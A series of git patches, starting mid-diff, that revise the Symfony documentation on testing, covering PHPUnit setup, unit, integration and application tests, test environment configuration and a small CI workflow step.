-
-Where ``task[tags][0][name]`` is the name of a field created
-with JavaScript.
-
-You can remove an existing field, e.g. a tag::
-
-    // gets the values of the form
-    $values = $form->getPhpValues();
-
-    // removes the first tag
-    unset($values['task']['tags'][0]);
-
-    // submits the data
-    $crawler = $client->request($form->getMethod(), $form->getUri(),
-        $values, $form->getPhpFiles());
-
-    // the tag has been removed
-    $this->assertEquals(0, $crawler->filter('ul.tags > li')->count());
-
-.. index::
-   pair: Tests; Configuration
-
-Testing Configuration
----------------------
-
-The Client used by functional tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
-
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
-        ]);
-
-You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
-method::
-
-    $client = static::createClient([
-        'environment' => 'my_test_env',
-        'debug'       => false,
-    ]);
-
-Customizing Database URL / Environment Variables
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to customize some environment variables for your tests (e.g. the
-``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
-need in your ``.env.test`` file:
-
-.. code-block:: text
-
-    # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
-
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
-
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
-Sending Custom Headers
-~~~~~~~~~~~~~~~~~~~~~~
-
-If your application behaves according to some HTTP headers, pass them as the
-second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-You can also override HTTP headers on a per request basis::
-
-    $client->request('GET', '/', [], [], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-.. caution::
-
-    The name of your custom headers must follow the syntax defined in the
-    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
-    uppercase and prefix the result with ``HTTP_``. For example, if your
-    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
-
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
-.. index::
-   pair: PHPUnit; Configuration
+TODO
+* panther
+* testing javascript
+* UX or form collections as example?
 
 PHPUnit Configuration
-~~~~~~~~~~~~~~~~~~~~~
+---------------------
 
 Each application has its own PHPUnit configuration, stored in the
 ``phpunit.xml.dist`` file. You can edit this file to change the defaults or
@@ -1127,8 +1045,8 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
-.. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/database.rst b/testing/database.rst
index 7e3acfd1db7..fb6caa0e553 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -4,121 +4,6 @@
 How to Test Code that Interacts with the Database
 =================================================
 
-Configuring a Database for Tests
---------------------------------
-
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
-
-.. code-block:: bash
-
-    # .env.test.local
-    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
-
-.. tip::
-
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
-
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
-
-Resetting the Database Automatically Before each Test
------------------------------------------------------
-
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
-
-.. code-block:: terminal
-
-    $ composer require --dev dama/doctrine-test-bundle
-
-Now, enable it as a PHPUnit extension or listener:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-
-        <!-- Add this for PHPUnit 7.5 or higher -->
-        <extensions>
-            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
-        </extensions>
-
-        <!-- Add this for PHPUnit 7.0 until 7.4 -->
-        <listeners>
-            <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/>
-        </listeners>
-    </phpunit>
-
-This bundle uses a clever trick to avoid side effects without sacrificing
-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
-
-.. _doctrine-fixtures:
-
-Dummy Data Fixtures
--------------------
-
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
-
-.. code-block:: terminal
-
-    $ composer require --dev doctrine/doctrine-fixtures-bundle
-
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
-
-.. code-block:: terminal
-
-    $ php bin/console make:fixtures
-
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > ProductFixture
-
-Customize the new class to load ``Product`` objects into Doctrine::
-
-    // src/DataFixtures/ProductFixture.php
-    namespace App\DataFixtures;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\FixturesBundle\Fixture;
-    use Doctrine\Persistence\ObjectManager;
-
-    class ProductFixture extends Fixture
-    {
-        public function load(ObjectManager $manager)
-        {
-            $product = new Product();
-            $product->setName('Priceless widget');
-            $product->setPrice(14.50);
-            $product->setDescription('Ok, I guess it *does* have a price');
-            $manager->persist($product);
-
-            // add more products
-
-            $manager->flush();
-        }
-    }
-
-Empty the database and reload *all* the fixture classes with:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:fixtures:load
-
-For more information, read the `DoctrineFixturesBundle documentation`_.
-
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
 

From 42cb8872afc99f2921519224270bd46a8a081cfa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 17:32:40 +0100
Subject: [PATCH 0736/5766] Finalize testing document rewrite

* Moved around things
* Don't mention PHPUnitBridge
* Add info about integration tests
---
 testing.rst | 197 +++++++++++++++++++++-------------------------------
 1 file changed, 81 insertions(+), 116 deletions(-)

diff --git a/testing.rst b/testing.rst
index 736e7d5b880..40bb2f1310c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,44 +15,38 @@ Symfony integrates with an independent library called `PHPUnit`_ to give you a
 rich testing framework. This article won't cover PHPUnit itself, which has its
 own excellent `documentation`_.
 
-Before creating your first test, install the `PHPUnit Bridge component`_, which
-wraps the original PHPUnit binary to provide additional features:
+Before creating your first test, install the PHPUnit with the following command:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/phpunit-bridge
+    $ composer require --dev phpunit/phpunit
 
-After the library downloads, try executing PHPUnit by running (the first time
-you run this, it will download PHPUnit itself and make its classes available in
-your app):
+After the library is installed, try executing PHPUnit by running:
 
 .. code-block:: terminal
 
-    $ ./bin/phpunit
+    $ ./vendor/bin/phpunit
 
 .. note::
 
-    The ``./bin/phpunit`` command is created by :ref:`Symfony Flex <symfony-flex>`
-    when installing the ``phpunit-bridge`` package. If the command is missing, you
-    can remove the package (``composer remove symfony/phpunit-bridge``) and install
-    it again. Another solution is to remove the project's ``symfony.lock`` file and
-    run ``composer install`` to force the execution of all Symfony Flex recipes.
+    :ref:`Symfony Flex <symfony-flex>` has automatically created ``phpunit.xml.dist``
+    and ``tests/bootstrap.php``. If the files are missing, you can remove the package
+    (``composer remove phpunit/phpunit``) and install it again.
 
 Each test is a PHP class that should live in the ``tests/`` directory of
 your application. If you follow this rule, then you can run all of your
 application's tests with the same command as before.
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-Symfony application.
-
-.. tip::
-
-    Use the ``--coverage-*`` command options to generate code coverage reports.
-    Read the PHPUnit manual to learn more about `code coverage analysis`_.
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your application.
 
 Types of Tests
 --------------
 
+To get a common language and shared context, it is important to define a what different
+types of tests really mean. Symfony will use the following definition. If you have
+learned something different, that is not necessarily wrong. It is just different
+from what the Symfony documentation is using.
+
 `Unit Tests`_
     These tests ensure that *individual* units of source code (e.g. a single
     class) behave as intended.
@@ -60,22 +54,18 @@ Types of Tests
 `Integration Tests`_
     These tests test a combination of classes and commonly interact with
     Symfony's service container. These tests do not yet cover the full
-    working application, those are called *Functional tests*.
+    working application, those are called *Application tests*.
 
-`Functional Tests`_
-    Functional tests test the behavior of a complete application. They
+`Application Tests`_
+    Application tests test the behavior of a complete application. They
     make HTTP requests and test that the response is as expected.
 
-`End to End Tests (E2E)`_
-    At last, end to end tests test the application as a real user. They use
-    a real browser and real integrations with external services.
-
 Unit Tests
 ----------
 
 A `unit test`_ ensures that individual units of source code (e.g. a single
 class or some specific method in some class) meet their design and behave
-as intended. Writing Symfony unit tests is no different from writing
+as intended. Writing unit tests is a Symfony application no different from writing
 standard PHPUnit unit tests. You can learn about it in the PHPUnit
 documentation: `Writing Tests for PHPUnit`_.
 
@@ -85,52 +75,49 @@ of your application for unit tests. So, if you're testing a class in the
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
-You can run tests using the ``bin/phpunit`` command:
+You can run tests using the ``./vendor/bin/phpunit`` command:
 
 .. code-block:: terminal
 
     # run all tests of the application
-    $ php bin/phpunit
+    $ php ./vendor/bin/phpunit
 
     # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+    $ php ./vendor/bin/phpunit tests/Util
 
     # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+    $ php ./vendor/bin/phpunit tests/Util/CalculatorTest.php
 
 Integration Tests
 -----------------
 
-TODO: KernelTestCase
-
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
-
-You can get the same container used in the application, which only includes
-the public services::
-
-    public function testSomething()
-    {
-        $kernel = self::bootKernel();
-        $container = $kernel->getContainer();
-        $someService = $container->get('the-service-ID');
-
-        // ...
-    }
+An integration test will test a larger part of your application compared to a unit
+test. Integration tests will use the Kernel to fetch a service from the dependency
+injection container.
 
-Symfony tests also have access to a special container that includes both the
+Symfony tests have access to a special container that includes both the
 public services and the non-removed :ref:`private services <container-public>`
 services::
 
-    public function testSomething()
+    // tests/Service/AcmeServiceTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\AcmeService;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class AcmeServiceTest extends KernelTestCase
     {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
+        public function testSomething()
+        {
+            // this call is needed; otherwise the container will be empty
+            self::bootKernel();
 
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
+            $container = self::$container;
+            $someService = $container->get(AcmeService::class);
 
-        // ...
+            $result = $someService->something();
+            $this->assertTrue($result);
+        }
     }
 
 .. caution::
@@ -140,55 +127,21 @@ services::
     other services). The solution is to declare those private services as public
     in the ``config/services_test.yaml`` file.
 
-.. TODO is this really different from self::$container and how to access
-   this in KernelTestCase?
-
-    Finally, for the most rare edge-cases, Symfony includes a special container
-    which provides access to all services, public and private. This special
-    container is a service that can be get via the normal container::
-
-        public function testSomething()
-        {
-            $client = self::createClient();
-            $normalContainer = $client->getContainer();
-            $specialContainer = $normalContainer->get('test.service_container');
-
-            // $somePrivateService = $specialContainer->get('the-service-ID');
-
-            // ...
-        }
-
-Mocking Services
-~~~~~~~~~~~~~~~~
-
-TODO
-
-.. _functional-tests:
-
-Functional Tests
-----------------
-
-Functional tests check the integration of the different layers of an
-application (from the routing to the views). They are no different from unit
-tests as far as PHPUnit is concerned, but they have a very specific workflow:
-
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
-
-Before creating your first test, install the ``symfony/test-pack`` which
-requires multiple packages providing some of the utilities used in the
-tests:
+.. tip::
 
-.. code-block:: terminal
+    To run your application tests, the ``KernelTestCase`` class needs to know which
+    is the application kernel to bootstrap it. The kernel class is usually
+    defined in the ``KERNEL_CLASS`` environment variable (included in the
+    default ``.env.test`` file provided by Symfony Flex):
 
-    $ composer require --dev symfony/test-pack
+    If your use case is more complex, you can also override the
+    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
+    which take precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The Client used by functional tests creates a Kernel that runs in a special
+The tests creates a Kernel that runs in a special
 ``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
 in the ``test`` environment, you can tweak any of your application's settings
 specifically for testing.
@@ -236,7 +189,7 @@ You can also use a different environment entirely, or override the default
 debug mode (``true``) by passing each as options to the ``createClient()``
 method::
 
-    $client = static::createClient([
+    self::bootKernel([
         'environment' => 'my_test_env',
         'debug'       => false,
     ]);
@@ -300,7 +253,7 @@ that ensures that each test is run with the same unmodified database:
 
     $ composer require --dev dama/doctrine-test-bundle
 
-Now, enable it as a PHPUnit extension or listener:
+Now, enable it as a PHPUnit extension:
 
 .. code-block:: xml
 
@@ -373,10 +326,34 @@ Empty the database and reload *all* the fixture classes with:
 
 For more information, read the `DoctrineFixturesBundle documentation`_.
 
-Write Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _functional-tests:
+
+Application Tests
+-----------------
+
+Application tests check the integration of all the different layers of the
+application (from the routing to the views). They are no different from unit tests
+or integration tests as far as PHPUnit is concerned, but they have a very specific
+workflow:
+
+* Make a request;
+* Click on a link or submit a form;
+* Test the response;
+* Rinse and repeat.
 
-Functional tests are PHP files that typically live in the ``tests/Controller``
+Before creating your first test, install the ``symfony/test-pack`` which
+requires multiple packages providing some of the utilities used in the
+tests:
+
+.. code-block:: terminal
+
+    $ composer require --dev symfony/test-pack
+
+
+Write Your First Application Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Application tests are PHP files that typically live in the ``tests/Controller``
 directory of your application. If you want to test the pages handled by your
 ``PostController`` class, start by creating a new ``PostControllerTest.php``
 file that extends a special ``WebTestCase`` class.
@@ -400,17 +377,6 @@ As an example, a test could look like this::
         }
     }
 
-.. tip::
-
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
-
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
-
 In the above example, you validated that the HTTP response was successful. The
 next step is to validate that the page actually contains the expected content.
 The ``createClient()`` method returns a client, which is like a browser that
@@ -495,7 +461,7 @@ returns a ``Crawler`` instance.
 
 .. tip::
 
-    Hardcoding the request URLs is a best practice for functional tests. If the
+    Hardcoding the request URLs is a best practice for application tests. If the
     test generates URLs using the Symfony router, it won't detect any change
     made to the application URLs which may impact the end users.
 
@@ -718,7 +684,7 @@ You can also override HTTP headers on a per request basis::
 Reporting Exceptions
 ....................
 
-Debugging exceptions in functional tests may be difficult because by default
+Debugging exceptions in application tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
 thrown. Disabling catching of exceptions in the test client allows the exception
 to be reported by PHPUnit::
@@ -1044,7 +1010,6 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php

From 28d79d689283302588c7312e7a363c6f4c4b16e5 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 19:19:53 +0200
Subject: [PATCH 0737/5766] [minor] Use correct code block

---
 reference/forms/types/options/preferred_choices.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 11eb2b7f8b4..8d72b608dbc 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -64,7 +64,7 @@ when rendering the field:
 
         {{ form_widget(form.publishAt, { 'separator': '=====' }) }}
 
-    .. code-block:: php
+    .. code-block:: html+php
 
         <?= $view['form']->widget($form['publishAt'], [
             'separator' => '=====',

From 31a15132cd42d90c73ee49723420c5e8781ec044 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 17:53:22 +0200
Subject: [PATCH 0738/5766] Show logs from php-builder

---
 .github/workflows/ci.yaml | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f6cc2cff17d..cfa60fe96f9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,6 +73,10 @@ jobs:
                 working-directory: _build
                 run: php build.php -vvv
 
+            -   name: Show log file
+                if: ${{ always() }}
+                run: cat _build/logs.txt || true
+
     doctor-rst:
         name: Lint (DOCtor-RST)
 

From 1091d1356005ebb9f824701fef0decb7e49434ae Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 7 Mar 2021 23:36:21 +0100
Subject: [PATCH 0739/5766] Finish testing article rewrites

---
 .doctor-rst.yaml     |   1 +
 testing.rst          | 581 +++++++++++++++++++++++++------------------
 testing/database.rst |  13 +-
 3 files changed, 351 insertions(+), 244 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e71ca735f09..af13fb7be61 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -95,3 +95,4 @@ whitelist:
         - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. code-block:: twig'
+        - 'End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 40bb2f1310c..095856fb426 100644
--- a/testing.rst
+++ b/testing.rst
@@ -11,41 +11,45 @@ using both functional and unit tests.
 The PHPUnit Testing Framework
 -----------------------------
 
-Symfony integrates with an independent library called `PHPUnit`_ to give you a
-rich testing framework. This article won't cover PHPUnit itself, which has its
-own excellent `documentation`_.
+Symfony integrates with an independent library called `PHPUnit`_ to give
+you a rich testing framework. This article won't cover PHPUnit itself,
+which has its own excellent `documentation`_.
 
-Before creating your first test, install the PHPUnit with the following command:
+Before creating your first test, install ``phpunit/phpunit`` and the
+``symfony/test-pack``, which installs some other packages providing useful
+Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit
+    $ composer require --dev phpunit/phpunit symfony/test-pack
 
-After the library is installed, try executing PHPUnit by running:
+After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ ./vendor/bin/phpunit
+    $ php ./vendor/bin/phpunit
 
-.. note::
+This commands automatically runs your application's tests. Each test is a
+PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
+the ``tests/`` directory of your application.
 
-    :ref:`Symfony Flex <symfony-flex>` has automatically created ``phpunit.xml.dist``
-    and ``tests/bootstrap.php``. If the files are missing, you can remove the package
-    (``composer remove phpunit/phpunit``) and install it again.
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
+application.
 
-Each test is a PHP class that should live in the ``tests/`` directory of
-your application. If you follow this rule, then you can run all of your
-application's tests with the same command as before.
+.. note::
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your application.
+    :ref:`Symfony Flex <symfony-flex>` automatically creates
+    ``phpunit.xml.dist`` and ``tests/bootstrap.php``. If these files are
+    missing, you can try running the recipe again using
+    ``composer recipes:install phpunit/phpunit --force -v``.
 
 Types of Tests
 --------------
 
-To get a common language and shared context, it is important to define a what different
-types of tests really mean. Symfony will use the following definition. If you have
-learned something different, that is not necessarily wrong. It is just different
-from what the Symfony documentation is using.
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
 
 `Unit Tests`_
     These tests ensure that *individual* units of source code (e.g. a single
@@ -53,25 +57,26 @@ from what the Symfony documentation is using.
 
 `Integration Tests`_
     These tests test a combination of classes and commonly interact with
-    Symfony's service container. These tests do not yet cover the full
+    Symfony's service container. These tests do not yet cover the fully
     working application, those are called *Application tests*.
 
 `Application Tests`_
     Application tests test the behavior of a complete application. They
-    make HTTP requests and test that the response is as expected.
+    make HTTP requests (both real and simulated ones) and test that the
+    response is as expected.
 
 Unit Tests
 ----------
 
 A `unit test`_ ensures that individual units of source code (e.g. a single
 class or some specific method in some class) meet their design and behave
-as intended. Writing unit tests is a Symfony application no different from writing
-standard PHPUnit unit tests. You can learn about it in the PHPUnit
-documentation: `Writing Tests for PHPUnit`_.
+as intended. Writing unit tests in a Symfony application is no different
+from writing standard PHPUnit unit tests. You can learn about it in the
+PHPUnit documentation: `Writing Tests for PHPUnit`_.
 
 By convention, the ``tests/`` directory should replicate the directory
 of your application for unit tests. So, if you're testing a class in the
-``src/Util/`` directory, put the test in the ``tests/Util/`` directory.
+``src/Form/`` directory, put the test in the ``tests/Form/`` directory.
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
@@ -82,111 +87,109 @@ You can run tests using the ``./vendor/bin/phpunit`` command:
     # run all tests of the application
     $ php ./vendor/bin/phpunit
 
-    # run all tests in the Util/ directory
-    $ php ./vendor/bin/phpunit tests/Util
+    # run all tests in the Form/ directory
+    $ php ./vendor/bin/phpunit tests/Form
+
+    # run tests for the UserType class
+    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
 
-    # run tests for the Calculator class
-    $ php ./vendor/bin/phpunit tests/Util/CalculatorTest.php
+.. tip::
+
+    In large test suites, it can make sense to create subdirectories for
+    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+
+.. _integration-tests:
 
 Integration Tests
 -----------------
 
-An integration test will test a larger part of your application compared to a unit
-test. Integration tests will use the Kernel to fetch a service from the dependency
-injection container.
+An integration test will test a larger part of your application compared to
+a unit test (e.g. a combination of services). Integration tests might want
+to use the Symfony Kernel to fetch a service from the dependency injection
+container.
 
-Symfony tests have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+class to help you creating and booting the kernel in your tests using
+``bootKernel()``::
 
-    // tests/Service/AcmeServiceTest.php
+    // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
 
-    use App\Service\AcmeService;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
-    class AcmeServiceTest extends KernelTestCase
+    class NewsletterGeneratorTest extends KernelTestCase
     {
         public function testSomething()
         {
-            // this call is needed; otherwise the container will be empty
             self::bootKernel();
 
-            $container = self::$container;
-            $someService = $container->get(AcmeService::class);
-
-            $result = $someService->something();
-            $this->assertTrue($result);
+            // ...
         }
     }
 
-.. caution::
+The ``KernelTestCase`` also makes sure your kernel is rebooted for each
+test. This assures that each test is run independently from eachother.
 
-    The special container ``test.service_container`` doesn't give access to the
-    private services that have been removed (those who are not used by any
-    other services). The solution is to declare those private services as public
-    in the ``config/services_test.yaml`` file.
+To run your application tests, the ``KernelTestCase`` class needs to
+find the application kernel to initialize. The kernel class is
+usually defined in the ``KERNEL_CLASS`` environment variable
+(included in the default ``.env.test`` file provided by Symfony Flex):
 
-.. tip::
+.. code-block:: env
+
+    # .env.test
+    KERNEL_CLASS=App\Kernel
 
-    To run your application tests, the ``KernelTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony Flex):
+.. note::
 
     If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+    ``getKernelClass()`` or ``createKernel()`` methods of your functional
+    test, which take precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
+The tests create a kernel that runs in the ``test``
+:ref:`environment <configuration-environments>`. This allows to have
+special settings for your tests inside ``config/packages/test/``.
 
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
+If you have Symfony Flex installed, some packages already installed some
+useful test configuration. For example, by default, the Twig bundle is
+configured to be especially strict to catch errors before deploying your
+code to production:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
+        # config/packages/test/twig.yaml
+        twig:
+            strict_variables: true
 
     .. code-block:: xml
 
-        <!-- config/packages/test/swiftmailer.xml -->
+        <!-- config/packages/test/twig.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
+            <framework:config strict-variables="true"/>
         </container>
 
     .. code-block:: php
 
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
+        // config/packages/test/twig.php
+        $container->loadFromExtension('twig', [
+            'strict_variables' => true,
         ]);
 
 You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
+debug mode (``true``) by passing each as options to the ``bootKernel()``
 method::
 
     self::bootKernel([
@@ -197,7 +200,15 @@ method::
 .. tip::
 
     It is recommended to run your test with ``debug`` set to ``false`` on
-    your CI server, as it significantly improves test performance.
+    your CI server, as it significantly improves test performance. This
+    disables clearing the cache. If your tests don't run in a clean
+    environment each time, you have to manually clear it using for instance
+    this code in ``tests/bootstrap.php``::
+
+        // ...
+
+        // ensure a fresh cache when debug mode is disabled
+        (new \Symfony\Component\Filesystem\Filesystem())->remove(__DIR__.'/../var/cache/test');
 
 Customizing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -209,45 +220,112 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
+
+    # ...
